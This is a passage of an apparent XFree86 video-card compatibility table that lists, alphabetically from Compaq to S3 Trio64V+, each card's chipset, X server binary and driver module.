Boca Vortex (Sierra RAMDAC) | AGX-015 | XF86_AGX | vga |
COMPAQ Armada 7380DMT | S3 Aurora64V+ | XF86_S3 | vga |
COMPAQ Armada 7730MT | S3 Aurora64V+ | XF86_S3 | vga |
California Graphics SunTracer 6000 | ET6000 | XF86_SVGA | tseng |
Canopus Co. Power Window 3DV | S3 ViRGE | XF86_SVGA | s3virge |
Canopus SPECTRA 3200R2 | RIVATNT | XF86_SVGA | nv |
Canopus SPECTRA 5400 | RIVATNT2 | XF86_SVGA | nv |
Canopus SPECTRA 5400 Premium Edition | RIVA ULTRA TNT2 | XF86_SVGA | nv |
Canopus Total-3D | Verite 1000 | XF86_SVGA | vga |
Cardex Challenger (Pro) | ET4000/W32(i/p) | XF86_SVGA | tseng |
Cardex Cobra | ET4000/W32(i/p) | XF86_SVGA | tseng |
Cardex Trio64 | S3 Trio64 | XF86_S3 | vga |
Cardex Trio64Pro | S3 Trio64 | XF86_S3 | vga |
Chaintech AGP-740D | Intel 740 | XF86_SVGA | i740 |
Chaintech Desperado 3F10 | Voodoo Banshee | XF86_SVGA | tdfx |
Chaintech Desperado RI20 | RIVA128 | XF86_SVGA | nv |
Chaintech Desperado RI30 | RIVATNT | XF86_SVGA | nv |
Chaintech Desperado RI40/41 | RIVATNT2 | XF86_SVGA | nv |
Chaintech Desperado RI50 | RIVATNT2 | XF86_SVGA | nv |
Chaintech Desperado RI60 | RIVATNT2 | XF86_SVGA | nv |
Chaintech Desperado SI21 | SiS6326 | XF86_SVGA | sis |
Chaintech Desperado SI31 | SiS6326 | XF86_SVGA | sis |
Chaintech Tornado I7000 | Intel 740 | XF86_SVGA | i740 |
Chaintech Tornado S6000 | SiS6326 | XF86_SVGA | sis |
Chips & Technologies CT64200 | ct64200 | XF86_SVGA | chips |
Chips & Technologies CT64300 | ct64300 | XF86_SVGA | chips |
Chips & Technologies CT65520 | ct65520 | XF86_SVGA | chips |
Chips & Technologies CT65525 | ct65525 | XF86_SVGA | chips |
Chips & Technologies CT65530 | ct65530 | XF86_SVGA | chips |
Chips & Technologies CT65535 | ct65535 | XF86_SVGA | chips |
Chips & Technologies CT65540 | ct65540 | XF86_SVGA | chips |
Chips & Technologies CT65545 | ct65545 | XF86_SVGA | chips |
Chips & Technologies CT65546 | ct65546 | XF86_SVGA | chips |
Chips & Technologies CT65548 | ct65548 | XF86_SVGA | chips |
Chips & Technologies CT65550 | ct65550 | XF86_SVGA | chips |
Chips & Technologies CT65554 | ct65554 | XF86_SVGA | chips |
Chips & Technologies CT65555 | ct65555 | XF86_SVGA | chips |
Chips & Technologies CT68554 | ct68554 | XF86_SVGA | chips |
Chips & Technologies CT69000 | ct69000 | XF86_SVGA | chips |
Chips & Technologies CT69030 | ct69030 | XF86_SVGA | chips |
Cirrus Logic GD542x | CL-GD5420/2/4/6/8/9 | XF86_SVGA | cirrus |
Cirrus Logic GD543x | CL-GD5430/5434/5436 | XF86_SVGA | cirrus |
Cirrus Logic GD5446 (noname card) | CL-GD5446, 1MB (upgradable to 2MB). | XF86_SVGA | vga |
Cirrus Logic GD544x | CL-GD544x |  | cirrus |
Cirrus Logic GD5462 | CL-GD5462 | XF86_SVGA | cirrus |
Cirrus Logic GD5464 | CL-GD5464 | XF86_SVGA | cirrus |
Cirrus Logic GD5465 | CL-GD5465 | XF86_SVGA | cirrus |
Cirrus Logic GD5480 | CL-GD5480 | XF86_SVGA | cirrus |
Cirrus Logic GD62xx (laptop) | CL-GD6205/15/25/35 | XF86_SVGA | vga |
Cirrus Logic GD64xx (laptop) | CL-GD6420/6440 | XF86_SVGA | vga |
Cirrus Logic GD754x (laptop) | CL-GD7541/42/43/48 | XF86_SVGA | vga |
Colorgraphic Dual Lightning | ET4000/W32(i/p) | XF86_SVGA | tseng |
Compaq Armada 7400 | S3 ViRGE/MX | XF86_SVGA | s3virge |
Compaq Armada 7800 | S3 ViRGE/MX | XF86_SVGA | s3virge |
Creative Blaster Exxtreme | PERMEDIA 2 | XF86_3DLabs | glint |
Creative Graphics Blaster TNT2 | RIVATNT2 | XF86_SVGA | nv |
Creative Labs 3D Blaster PCI (Verite 1000) | Verite 1000 | XF86_SVGA | vga |
Creative Labs Graphics Blaster 3D | CL-GD5464 | XF86_SVGA | cirrus |
Creative Labs Graphics Blaster Eclipse (OEM Model CT6510) | CL-GD5465 | XF86_SVGA | cirrus |
Creative Labs Graphics Blaster MA201 | CL-GD544x |  | cirrus |
Creative Labs Graphics Blaster MA202 | CL-GD544x |  | cirrus |
Creative Labs Graphics Blaster MA302 | CL-GD5462 | XF86_SVGA | cirrus |
Creative Labs Graphics Blaster MA334 | CL-GD5464 | XF86_SVGA | cirrus |
Creative Labs Savage 4 3D Blaster |  |  |  |
Cyrix MediaGX | MediaGX | XF86_SVGA | cyrix |
DFI-WG1000 | CL-GD5420/2/4/6/8/9 | XF86_SVGA | cirrus |
DFI-WG5000 | ET4000/W32(i/p) | XF86_SVGA | tseng |
DFI-WG6000 | WD90C33 | XF86_SVGA | vga |
DSV3325 | S3 ViRGE | XF86_SVGA | s3virge |
DSV3326 | S3 Trio64V+ | XF86_S3 | vga |
DataExpert DSV3325 | S3 ViRGE | XF86_SVGA | s3virge |
DataExpert DSV3365 | S3 Trio64V+ | XF86_S3 | vga |
Dell S3 805 | S3 801/805 | XF86_S3 | vga |
Dell onboard ET4000 | ET4000 | XF86_SVGA | tseng |
Diamond Edge 3D | nv1 | XF86_SVGA | vga |
Diamond Fire GL 1000 | PERMEDIA | XF86_3DLabs | glint |
Diamond Fire GL 1000 PRO | PERMEDIA 2 | XF86_3DLabs | glint |
Diamond Fire GL 3000 | GLINT 500TX | XF86_3DLabs | glint |
Diamond Monster Fusion | Voodoo Banshee | XF86_SVGA | tdfx |
Diamond Multimedia Stealth 3D 2000 | S3 ViRGE | XF86_SVGA | s3virge |
Diamond Multimedia Stealth 3D 2000 PRO | S3 ViRGE/DX | XF86_SVGA | s3virge |
Diamond SpeedStar (Plus) | ET4000 | XF86_SVGA | tseng |
Diamond SpeedStar 24 | ET4000 | XF86_SVGA | tseng |
Diamond SpeedStar 24X (not fully supported) | WD90C31 | XF86_SVGA | vga |
Diamond SpeedStar 64 | CL-GD5434 | XF86_SVGA | cirrus |
Diamond SpeedStar A50 | SiS6326 | XF86_SVGA | sis |
Diamond SpeedStar HiColor | ET4000 | XF86_SVGA | tseng |
Diamond SpeedStar Pro (not SE) | CL-GD5426/28 | XF86_SVGA | cirrus |
Diamond SpeedStar Pro 1100 | CL-GD5420/2/4/6/8/9 | XF86_SVGA | cirrus |
Diamond SpeedStar Pro SE (CL-GD5430/5434) | CL-GD5430/5434/5436 | XF86_SVGA | cirrus |
Diamond SpeedStar64 Graphics 2000/2200 | CL-GD5434 | XF86_SVGA | cirrus |
Diamond Stealth 24 | S3 801/805 | XF86_S3 | vga |
Diamond Stealth 32 | ET4000/W32(i/p) | XF86_SVGA | tseng |
Diamond Stealth 3D 2000 | S3 ViRGE | XF86_SVGA | s3virge |
Diamond Stealth 3D 2000 PRO | S3 ViRGE/DX | XF86_SVGA | s3virge |
Diamond Stealth 3D 3000 | S3 ViRGE/VX | XF86_SVGA | s3virge |
Diamond Stealth 3D 4000 | S3 ViRGE/GX2 | XF86_SVGA | s3virge |
Diamond Stealth 64 DRAM SE | S3 Trio32 | XF86_S3 | vga |
Diamond Stealth 64 DRAM with S3 SDAC | S3 864 | XF86_S3 | vga |
Diamond Stealth 64 DRAM with S3 Trio64 | S3 Trio64 | XF86_S3 | vga |
Diamond Stealth 64 VRAM | S3 964 | XF86_S3 | vga |
Diamond Stealth 64 Video VRAM (TI RAMDAC) | S3 968 | XF86_S3 | vga |
Diamond Stealth II S220 | Verite 2100 | XF86_SVGA | vga |
Diamond Stealth II/G460 AGP | Intel 740 | XF86_SVGA | i740 |
Diamond Stealth III (S520/S540) |  |  |  |
Diamond Stealth Pro | S3 928 | XF86_S3 | vga |
Diamond Stealth VRAM | S3 911/924 | XF86_S3 | vga |
Diamond Stealth Video 2500 | Alliance AT24 | XF86_SVGA | apm |
Diamond Stealth Video DRAM | S3 868 | XF86_S3 | vga |
Diamond Stealth64 Graphics 2001 series | ARK2000PV | XF86_SVGA | vga |
Diamond Stealth64 Graphics 2xx0 series (864 + SDAC) | S3 864 | XF86_S3 | vga |
Diamond Stealth64 Graphics 2xx0 series (Trio64) | S3 Trio64 | XF86_S3 | vga |
Diamond Stealth64 Video 2001 series (2121/2201) | S3 Trio64V+ | XF86_S3 | vga |
Diamond Stealth64 Video 2120/2200 | S3 868 | XF86_S3 | vga |
Diamond Stealth64 Video 3200 | S3 968 | XF86_S3 | vga |
Diamond Stealth64 Video 3240/3400 (IBM RAMDAC) | S3 968 | XF86_S3 | vga |
Diamond Stealth64 Video 3240/3400 (TI RAMDAC) | S3 968 | XF86_S3 | vga |
Diamond Viper 330 | RIVA128 | XF86_SVGA | nv |
Diamond Viper 550 | RIVATNT | XF86_SVGA | nv |
Diamond Viper 770 | RIVATNT2 | XF86_SVGA | nv |
Diamond Viper PCI 2Mb | Weitek 9000 | XF86_P9000 | vga |
Diamond Viper Pro Video | Weitek P9100 | XF86_SVGA | vga |
Diamond Viper VLB 2Mb | Weitek 9000 | XF86_P9000 | vga |
Digital 24-plane TGA (ZLXp-E2) | TGA | XF86_TGA | tga |
Digital 24-plane+3D TGA (ZLXp-E3) | TGA | XF86_TGA | tga |
Digital 8-plane TGA (UDB/Multia) | TGA | XF86_TGA | tga |
Digital 8-plane TGA (ZLXp-E1) | TGA | XF86_TGA | tga |
EIZO (VRAM) | AGX-014/15/16 | XF86_AGX | vga |
ELSA ERAZOR II | RIVATNT | XF86_SVGA | nv |
ELSA ERAZOR III | RIVATNT2 | XF86_SVGA | nv |
ELSA GLoria Synergy | PERMEDIA 2 | XF86_3DLabs | glint |
ELSA GLoria-L | GLINT 500TX | XF86_3DLabs | glint |
ELSA GLoria-L/MX | GLINT MX | XF86_3DLabs | glint |
ELSA GLoria-S | PERMEDIA | XF86_3DLabs | glint |
ELSA GLoria-XL | GLINT MX | XF86_3DLabs | glint |
ELSA GLoria-XXL | GLINT MX | XF86_3DLabs | glint |
ELSA Gloria-4 | S3 968 | XF86_S3 | vga |
ELSA Gloria-8 | S3 968 | XF86_S3 | vga |
ELSA Synergy II | RIVATNT2 | XF86_SVGA | nv |
ELSA VICTORY ERAZOR | RIVA128 | XF86_SVGA | nv |
ELSA VICTORY ERAZOR LT | RIVA128 | XF86_SVGA | nv |
ELSA Victory 3D | S3 ViRGE | XF86_SVGA | s3virge |
ELSA Victory 3DX | S3 ViRGE/DX | XF86_SVGA | s3virge |
ELSA WINNER 1000/T2D |  |  |  |
ELSA Winner 1000 R3D | RIVA128 | XF86_SVGA | nv |
ELSA Winner 1000AVI (AT&T 20C409 version) | S3 868 | XF86_S3 | vga |
ELSA Winner 1000AVI (SDAC version) | S3 868 | XF86_S3 | vga |
ELSA Winner 1000ISA | S3 805i | XF86_S3 | vga |
ELSA Winner 1000PRO with S3 SDAC | S3 864 | XF86_S3 | vga |
ELSA Winner 1000PRO with STG1700 or AT&T RAMDAC | S3 864 | XF86_S3 | vga |
ELSA Winner 1000PRO/X | S3 868 | XF86_S3 | vga |
ELSA Winner 1000TRIO | S3 Trio64 | XF86_S3 | vga |
ELSA Winner 1000TRIO/V | S3 Trio64V+ | XF86_S3 | vga |
ELSA Winner 1000TwinBus | S3 928 | XF86_S3 | vga |
ELSA Winner 1000VL | S3 928 | XF86_S3 | vga |
ELSA Winner 2000 | S3 928 | XF86_S3 | vga |
ELSA Winner 2000/Office | PERMEDIA 2 | XF86_3DLabs | glint |
ELSA Winner 2000AVI | S3 968 | XF86_S3 | vga |
ELSA Winner 2000AVI/3D | S3 ViRGE/VX | XF86_SVGA | s3virge |
ELSA Winner 2000PRO-2 | S3 964 | XF86_S3 | vga |
ELSA Winner 2000PRO-4 | S3 964 | XF86_S3 | vga |
ELSA Winner 2000PRO/X-2 | S3 968 | XF86_S3 | vga |
ELSA Winner 2000PRO/X-4 | S3 968 | XF86_S3 | vga |
ELSA Winner 2000PRO/X-8 | S3 968 | XF86_S3 | vga |
ELSA Winner 3000 | S3 ViRGE/VX | XF86_SVGA | s3virge |
ELSA Winner 3000-L-42 | S3 ViRGE/VX | XF86_SVGA | s3virge |
ELSA Winner 3000-M-22 | S3 ViRGE/VX | XF86_SVGA | s3virge |
ELSA Winner 3000-S | S3 ViRGE | XF86_SVGA | s3virge |
EONtronics Picasso 740 | Intel 740 | XF86_SVGA | i740 |
EONtronics Van Gogh | Intel 740 | XF86_SVGA | i740 |
EPSON CardPC (onboard) | SPC8110 | XF86_SVGA |  |
EPSON SPC8110 (CardPC) | SPC8110 | XF86_SVGA | vga |
ET3000 (generic) | ET3000 | XF86_SVGA | tseng |
ET4000 (generic) | ET4000 | XF86_SVGA | tseng |
ET4000 W32i, W32p (generic) | ET4000/W32(i/p) | XF86_SVGA | tseng |
ET4000/W32 (generic) | ET4000/W32 | XF86_W32 | tseng |
ET6000 (generic) | ET6000 | XF86_SVGA | tseng |
ET6100 (generic) | ET6100 | XF86_SVGA | tseng |
ET6300 (generic) | ET6300 | XF86_SVGA | tseng |
EliteGroup(ECS) 3DVision-i740 AGP | Intel 740 | XF86_SVGA | i740 |
Elsa Victory II | Voodoo Banshee | XF86_SVGA | tdfx |
Elsa Winner T3D | S3 Trio3D | XF86_SVGA | s3virge |
Everex MVGA i740/AG | Intel 740 | XF86_SVGA | i740 |
ExpertColor DSV3325 | S3 ViRGE | XF86_SVGA | s3virge |
ExpertColor DSV3365 | S3 Trio64V+ | XF86_S3 | vga |
Flagpoint Shocker i740 8MB | Intel 740 | XF86_SVGA | i740 |
Gainward CardExpert 740 8MB | Intel 740 | XF86_SVGA | i740 |
Gainward Challenger EV | ET6000 | XF86_SVGA | tseng |
Generic VGA compatible | Generic VGA | XF86_VGA16 | vga |
Genoa 5400 | ET3000 | XF86_SVGA | tseng |
Genoa 8500VL(-28) | CL-GD5426/28 | XF86_SVGA | cirrus |
Genoa 8900 Phantom 32i | ET4000/W32(i/p) | XF86_SVGA | tseng |
Genoa Phantom 64i with S3 SDAC | S3 864 | XF86_S3 | vga |
Genoa Systems Phantom 740 | Intel 740 | XF86_SVGA | i740 |
Genoa VideoBlitz III AV | S3 968 | XF86_S3 | vga |
Gigabyte Predator i740 8MB AGP | Intel 740 | XF86_SVGA | i740 |
Graphics Blaster TNT | RIVATNT | XF86_SVGA | nv |
Guillemot Maxi Gamer Xentor 32 | RIVATNT2 | XF86_SVGA | nv |
HOT-158 (Shuttle) | Intel 740 | XF86_SVGA | i740 |
Hercules Dynamite | ET4000/W32 | XF86_W32 | tseng |
Hercules Dynamite 128/Video | ET6000 | XF86_SVGA | tseng |
Hercules Dynamite 3D/GL | PERMEDIA 2 | XF86_3DLabs | glint |
Hercules Dynamite Power | ET4000/W32(i/p) | XF86_SVGA | tseng |
Hercules Dynamite Pro | ET4000/W32(i/p) | XF86_SVGA | tseng |
Hercules Dynamite TNT | RIVATNT | XF86_SVGA | nv |
Hercules Graphite HG210 | AGX-014 | XF86_AGX | vga |
Hercules Graphite Power | AGX-016 | XF86_AGX | vga |
Hercules Graphite Pro | AGX-015 | XF86_AGX | vga |
Hercules Graphite Terminator 64 | S3 964 | XF86_S3 | vga |
Hercules Graphite Terminator 64/DRAM | S3 Trio64 | XF86_S3 | vga |
Hercules Graphite Terminator Pro 64 | S3 968 | XF86_S3 | vga |
Hercules Stingray | ALG-2228/2301/2302 | XF86_SVGA | vga |
Hercules Stingray 128 3D | Alliance AT3D | XF86_SVGA | apm |
Hercules Stingray 64/V with ICS5342 | ARK2000MT | XF86_SVGA | vga |
Hercules Stingray 64/V with ZoomDAC | ARK1000PV | XF86_SVGA | vga |
Hercules Stingray Pro | ARK1000PV | XF86_SVGA | vga |
Hercules Stingray Pro/V | ARK1000PV | XF86_SVGA | vga |
Hercules Terminator 128 2X/i AGP | Intel 740 | XF86_SVGA | i740 |
Hercules Terminator 128/3D | S3 Trio3D | XF86_SVGA | s3virge |
Hercules Terminator 3D/DX | S3 ViRGE/DX | XF86_SVGA | s3virge |
Hercules Terminator 64/3D | S3 ViRGE | XF86_SVGA | s3virge |
Hercules Terminator 64/Video | S3 Trio64V+ | XF86_S3 | vga |
Hercules Thriller3D | Verite 2200 | XF86_SVGA | vga |
Integral FlashPoint | ET4000/W32(i/p) | XF86_SVGA | tseng |
Intel 5430 | CL-GD5430 | XF86_SVGA | cirrus |
Intel 740 (generic) | Intel 740 | XF86_SVGA | i740 |
Intel 810 | Intel 810 | XF86_SVGA | i810 |
Intel 815 | Intel 815 | XF86_SVGA | i810 |
Intel Express 3D AGP | Intel 740 | XF86_SVGA | i740 |
Interay PMC Viper | ET6000 | XF86_SVGA | tseng |
JAX 8241 | S3 801/805 | XF86_S3 | vga |
Jaton Video-58P | ET6000 | XF86_SVGA | tseng |
Jaton Video-70P | CL-GD5464 | XF86_SVGA | cirrus |
Jaton Video-740 AGP 3D | Intel 740 | XF86_SVGA | i740 |
Jazz Multimedia G-Force 128 | ET6000 | XF86_SVGA | tseng |
Jetway J-740-3D 8MB AGP, i740 AGP 3D | Intel 740 | XF86_SVGA | i740 |
Joymedia Apollo 7400 | Intel 740 | XF86_SVGA | i740 |
KouTech KeyVision 128 EV | ET6000 | XF86_SVGA | tseng |
LeadTek WinFast 3D S600 | S3 ViRGE | XF86_SVGA | s3virge |
LeadTek WinFast 3D S680 | S3 ViRGE/GX2 | XF86_SVGA | s3virge |
LeadTek WinFast S200 | ET4000/W32(i/p) | XF86_SVGA | tseng |
LeadTek WinFast S430 | S3 968 | XF86_S3 | vga |
LeadTek WinFast S510 | S3 968 | XF86_S3 | vga |
Leadtek WinFast 2300 | PERMEDIA 2 | XF86_3DLabs | glint |
Leadtek WinFast 3D S320 | RIVATNT | XF86_SVGA | nv |
Leadtek WinFast 3D S320II | RIVATNT2 | XF86_SVGA | nv |
Leadtek WinFast 3D S3500 | RIVA128 | XF86_SVGA | nv |
Leadtek Winfast S900 | Intel 740 | XF86_SVGA | i740 |
MAXI Gamer AGP 8 MB | Intel 740 | XF86_SVGA | i740 |
MELCO WGA-TS | RIVATNT2 | XF86_SVGA | nv |
MELCO WGP-VG4S | S3 ViRGE | XF86_SVGA | s3virge |
MELCO WGP-VX8 | S3 ViRGE/VX | XF86_SVGA | s3virge |
MSI MS-4417 | SiS6326 | XF86_SVGA | sis |
MachSpeed VGA ET6000 | ET6000 | XF86_SVGA | tseng |
Machspeed Raptor i740 AGP 4600 | Intel 740 | XF86_SVGA | i740 |
Magic-Pro MP-740DVD | Intel 740 | XF86_SVGA | i740 |
Matrox Comet | ET4000/W32(i/p) | XF86_SVGA | tseng |
Matrox Marvel II | ET4000/W32(i/p) | XF86_SVGA | tseng |
Matrox Millennium | mga2064w | XF86_SVGA | mga |
Matrox Millennium G200 | mgag200 | XF86_SVGA | mga |
Matrox Millennium G400 | mgag400 | XF86_SVGA | mga |
Matrox Millennium G450 | mgag450 |  | mga |
Matrox Millennium II | mga2164w | XF86_SVGA | mga |
Matrox Mystique | mga1064sg | XF86_SVGA | mga |
Matrox Mystique G200 | mgag200 | XF86_SVGA | mga |
Matrox Productiva G100 | mgag100 | XF86_SVGA | mga |
MediaVision Proaxcel 128 | ET6000 | XF86_SVGA | tseng |
Mirage Z-128 | ET6000 | XF86_SVGA | tseng |
Miro CRYSTAL VRX | Verite 1000 | XF86_SVGA | vga |
Miro Crystal 10SD with GenDAC | S3 801/805 | XF86_S3 | vga |
Miro Crystal 12SD | S3 Trio32 | XF86_S3 | vga |
Miro Crystal 16S | S3 928 | XF86_S3 | vga |
Miro Crystal 20SD PCI with S3 SDAC | S3 868 | XF86_S3 | vga |
Miro Crystal 20SD VLB with S3 SDAC (BIOS 3.xx) | S3 864 | XF86_S3 | vga |
Miro Crystal 20SD with ICD2061A (BIOS 2.xx) | S3 864 | XF86_S3 | vga |
Miro Crystal 20SD with ICS2494 (BIOS 1.xx) | S3 864 | XF86_S3 | vga |
Miro Crystal 20SV | S3 964 | XF86_S3 | vga |
Miro Crystal 22SD | S3 Trio64 | XF86_S3 | vga |
Miro Crystal 40SV | S3 964 | XF86_S3 | vga |
Miro Crystal 80SV | S3 968 | XF86_S3 | vga |
Miro Crystal 8S | S3 801/805 | XF86_S3 | vga |
Miro Crystal DVD | SiS6326 | XF86_SVGA | sis |
Miro MiroMedia 3D | S3 ViRGE | XF86_SVGA | s3virge |
Miro MiroVideo 20TD | ET4000/W32(i/p) | XF86_SVGA | tseng |
Miro Video 20SV | S3 968 | XF86_S3 | vga |
NVIDIA GeForce | GeForce | XF86_SVGA | nv |
NVIDIA GeForce 2 (generic) | GeForce 2 |  | nv |
NVIDIA GeForce 2 GTS (generic) | GeForce 2 |  | nv |
NVIDIA GeForce 2 Go (generic) | GeForce 2 |  | nv |
NVIDIA GeForce 2 MX (generic) | GeForce 2 |  | nv |
NVIDIA GeForce 256 (generic) | GeForce 256 |  | nv |
NVIDIA GeForce 3 (generic) | GeForce 3 |  | nv |
NVIDIA GeForce DDR (generic) | GeForce DDR |  | nv |
NVIDIA Riva 128 (generic) | RIVA128 | XF86_SVGA | nv |
NVIDIA Riva TNT (generic) | RIVATNT | XF86_SVGA | nv |
NVIDIA Riva TNT2 (generic) | RIVATNT2 | XF86_SVGA | nv |
NatSemi Geode | MediaGX | XF86_SVGA | cyrix |
NeoMagic (laptop/notebook) |  |  | neomagic |
NeoMagic 128XD (laptop/notebook) |  |  | neomagic |
NeoMagic 256 (laptop/notebook) | MagicGraph 256 series |  | neomagic |
Number Nine FX Motion 331 | S3 Trio64V+ | XF86_S3 | vga |
Number Nine FX Motion 332 | S3 ViRGE | XF86_SVGA | s3virge |
Number Nine FX Motion 531 | S3 868 | XF86_S3 | vga |
Number Nine FX Motion 771 | S3 968 | XF86_S3 | vga |
Number Nine FX Reality 772 | S3 ViRGE/VX | XF86_SVGA | s3virge |
Number Nine FX Vision 330 | S3 Trio64 | XF86_S3 | vga |
Number Nine GXE Level 10/11/12 | S3 928 | XF86_S3 | vga |
Number Nine GXE Level 14/16 | S3 928 | XF86_S3 | vga |
Number Nine GXE64 | S3 864 | XF86_S3 | vga |
Number Nine GXE64 Pro | S3 964 | XF86_S3 | vga |
Number Nine GXE64 with S3 Trio64 | S3 Trio64 | XF86_S3 | vga |
Number Nine Imagine 128 | I128 | XF86_I128 | i128 |
Number Nine Imagine 128 (2-8MB) | I128 | XF86_I128 | i128 |
Number Nine Imagine 128 Series 2 (2-4MB) | I128 | XF86_I128 | i128 |
Number Nine Imagine 128 T2R | I128 | XF86_I128 | i128 |
Number Nine Revolution 3D AGP T2R | I128 | XF86_I128 | i128 |
Number Nine Revolution IV (T2R4) | I128 | XF86_I128 | i128 |
Number Nine Visual 9FX Reality 332 | S3 ViRGE | XF86_SVGA | s3virge |
Oak 87 ISA (generic) | Oak OTI-087 | XF86_SVGA | vga |
Oak 87 VLB (generic) | Oak OTI-087 | XF86_SVGA | vga |
Oak ISA Card (generic) | Oak OTI-067/77 | XF86_SVGA | vga |
Ocean (octek) VL-VGA-1000 | ARK1000VL | XF86_SVGA | vga |
Octek AVGA-20 | CL-GD5420 | XF86_SVGA | cirrus |
Octek Combo-26 | CL-GD5426 | XF86_SVGA | cirrus |
Octek Combo-28 | CL-GD5428 | XF86_SVGA | cirrus |
Octek VL-VGA-26 | CL-GD5426 | XF86_SVGA | cirrus |
Octek VL-VGA-28 | CL-GD5428 | XF86_SVGA | cirrus |
Orchid Celsius (AT&T RAMDAC) | AGX-015 | XF86_AGX | vga |
Orchid Celsius (Sierra RAMDAC) | AGX-015 | XF86_AGX | vga |
Orchid Fahrenheit 1280 | S3 801 | XF86_S3 | vga |
Orchid Fahrenheit VA | S3 801/805 | XF86_S3 | vga |
Orchid Fahrenheit-1280+ | S3 801/805 | XF86_S3 | vga |
Orchid Kelvin 64 | CL-GD5434 | XF86_SVGA | cirrus |
Orchid Kelvin 64 VLB Rev A | CL-GD5434 | XF86_SVGA | cirrus |
Orchid Kelvin 64 VLB Rev B | CL-GD5434 | XF86_SVGA | cirrus |
Orchid P9000 VLB | Weitek 9000 | XF86_P9000 | vga |
Orchid Technology Fahrenheit Video 3D | S3 ViRGE | XF86_SVGA | s3virge |
PC-Chips M567 Mainboard | SiS5597 | XF86_SVGA | sis |
Palit Daytona AGP740 | Intel 740 | XF86_SVGA | i740 |
Paradise Accelerator Value | Oak OTI-087 | XF86_SVGA | vga |
Paradise/WD 90CXX | WD90CXX | XF86_SVGA | vga |
PixelView Combo TV 3D AGP (Prolink) | CL-GD5465, 4MB | XF86_SVGA | vga |
PixelView Combo TV Pro (Prolink) | CL-GD5480, 4MB | XF86_SVGA | vga |
PowerColor C740 (SG/SD) AGP | Intel 740 | XF86_SVGA | i740 |
QDI Amazing I | Intel 740 | XF86_SVGA | i740 |
RIVA TNT | RIVATNT | XF86_SVGA | nv |
RIVA TNT2 | RIVATNT2 | XF86_SVGA | nv |
RIVA Ultra TNT2 | RIVA ULTRA TNT2 | XF86_SVGA | nv |
RIVA128 | RIVA128 | XF86_SVGA | nv |
Real3D Starfighter AGP | Intel 740 | XF86_SVGA | i740 |
Real3D Starfighter PCI | Intel 740 | XF86_SVGA | i740 |
Rendition Verite 1000 | Verite 1000 | XF86_SVGA | vga |
Rendition Verite 2x00 | Verite 2x00 | XF86_SVGA | vga |
Revolution 3D T2R | I128 | XF86_I128 | i128 |
S3 801/805 (generic) | S3 801/805 | XF86_S3 | vga |
S3 801/805 with ATT20c490 RAMDAC | S3 801/805 | XF86_S3 | vga |
S3 801/805 with ATT20c490 RAMDAC and ICD2061A | S3 801/805 | XF86_S3 | vga |
S3 801/805 with Chrontel 8391 | S3 801/805 | XF86_S3 | vga |
S3 801/805 with S3 GenDAC | S3 801/805 | XF86_S3 | vga |
S3 801/805 with SC1148{2,3,4} RAMDAC | S3 801/805 | XF86_S3 | vga |
S3 801/805 with SC1148{5,7,9} RAMDAC | S3 801/805 | XF86_S3 | vga |
S3 864 (generic) | S3 864 | XF86_S3 | vga |
S3 864 with ATT 20C498 or 21C498 | S3 864 | XF86_S3 | vga |
S3 864 with SDAC (86C716) | S3 864 | XF86_S3 | vga |
S3 864 with STG1703 | S3 864 | XF86_S3 | vga |
S3 868 (generic) | S3 868 | XF86_S3 | vga |
S3 868 with ATT 20C409 | S3 868 | XF86_S3 | vga |
S3 868 with ATT 20C498 or 21C498 | S3 868 | XF86_S3 | vga |
S3 868 with SDAC (86C716) | S3 868 | XF86_S3 | vga |
S3 86C260 (ViRGE/MX) | S3 ViRGE/MX | XF86_SVGA | s3virge |
S3 86C280 (ViRGE/MX+) | S3 ViRGE/MX | XF86_SVGA | s3virge |
S3 86C325 (ViRGE) | S3 ViRGE | XF86_SVGA | s3virge |
S3 86C357 (ViRGE/GX2) | S3 ViRGE/GX2 | XF86_SVGA | s3virge |
S3 86C365 (Trio3D) | S3 Trio3D | XF86_SVGA | s3virge |
S3 86C368 (Trio3D/2X) | S3 Trio3D | XF86_SVGA | s3virge |
S3 86C375 (ViRGE/DX) | S3 ViRGE/DX | XF86_SVGA | s3virge |
S3 86C385 (ViRGE/GX) | S3 ViRGE/GX | XF86_SVGA | s3virge |
S3 86C390 (Savage3D) | S3 Savage | XF86_SVGA | savage |
S3 86C391 (Savage3D) | S3 Savage | XF86_SVGA | savage |
S3 86C395 (Savage4 Pro+) |  |  |  |
S3 86C396 (Savage4) |  |  |  |
S3 86C397 (Savage4) |  |  |  |
S3 86C764 (Trio64) | S3 Trio64 | XF86_S3 | vga |
S3 86C765 (Trio64V+) | S3 Trio64V+ | XF86_S3 | vga |
S3 86C775 (Trio64V2/DX) | S3 Trio64V2 | XF86_S3 | vga |
S3 86C785 (Trio64V2/GX) |  |  |  |
S3 86C801 (generic) | S3 801/805 | XF86_S3 | vga |
S3 86C805 (generic) | S3 801/805 | XF86_S3 | vga |
S3 86C864 (generic) | S3 864 | XF86_S3 | vga |
S3 86C868 (generic) | S3 868 | XF86_S3 | vga |
S3 86C911 (generic) | S3 911/924 | XF86_S3 | vga |
S3 86C924 (generic) | S3 911/924 | XF86_S3 | vga |
S3 86C928 (generic) | S3 928 | XF86_S3 | vga |
S3 86C964 (generic) | S3 964 | XF86_S3 | vga |
S3 86C968 (generic) | S3 968 | XF86_S3 | vga |
S3 86C988 (ViRGE/VX) | S3 ViRGE/VX | XF86_SVGA | s3virge |
S3 86CM65 (Aurora64V+) | S3 Aurora64V+ | XF86_S3 | vga |
S3 911/924 (generic) | S3 911/924 | XF86_S3 | vga |
S3 924 with SC1148 DAC | S3 924 | XF86_S3 | vga |
S3 928 (generic) | S3 928 | XF86_S3 | vga |
S3 964 (generic) | S3 964 | XF86_S3 | vga |
S3 968 (generic) | S3 968 | XF86_S3 | vga |
S3 Aurora64V+ (generic) | S3 Aurora64V+ | XF86_S3 | vga |
S3 Savage (generic) | S3 Savage | XF86_SVGA | savage |
S3 Savage 2000 (generic) | S3 Savage2000 | XF86_SVGA | savage |
S3 Savage/MX | S3 Savage | XF86_SVGA | savage |
S3 Savage3D | S3 Savage | XF86_SVGA | savage |
S3 Savage4 |  |  |  |
S3 Savage4 (generic) | S3 Savage | XF86_SVGA | savage |
S3 Savage4 Pro+ |  |  |  |
S3 Trio32 (generic) | S3 Trio32 | XF86_S3 | vga |
S3 Trio3D | S3 Trio3D | XF86_SVGA | s3virge |
S3 Trio3D/2X | S3 Trio3D | XF86_SVGA | s3virge |
S3 Trio64 (generic) | S3 Trio64 | XF86_S3 | vga |
S3 Trio64V+ (generic) | S3 Trio64V+ | XF86_S3 | vga |
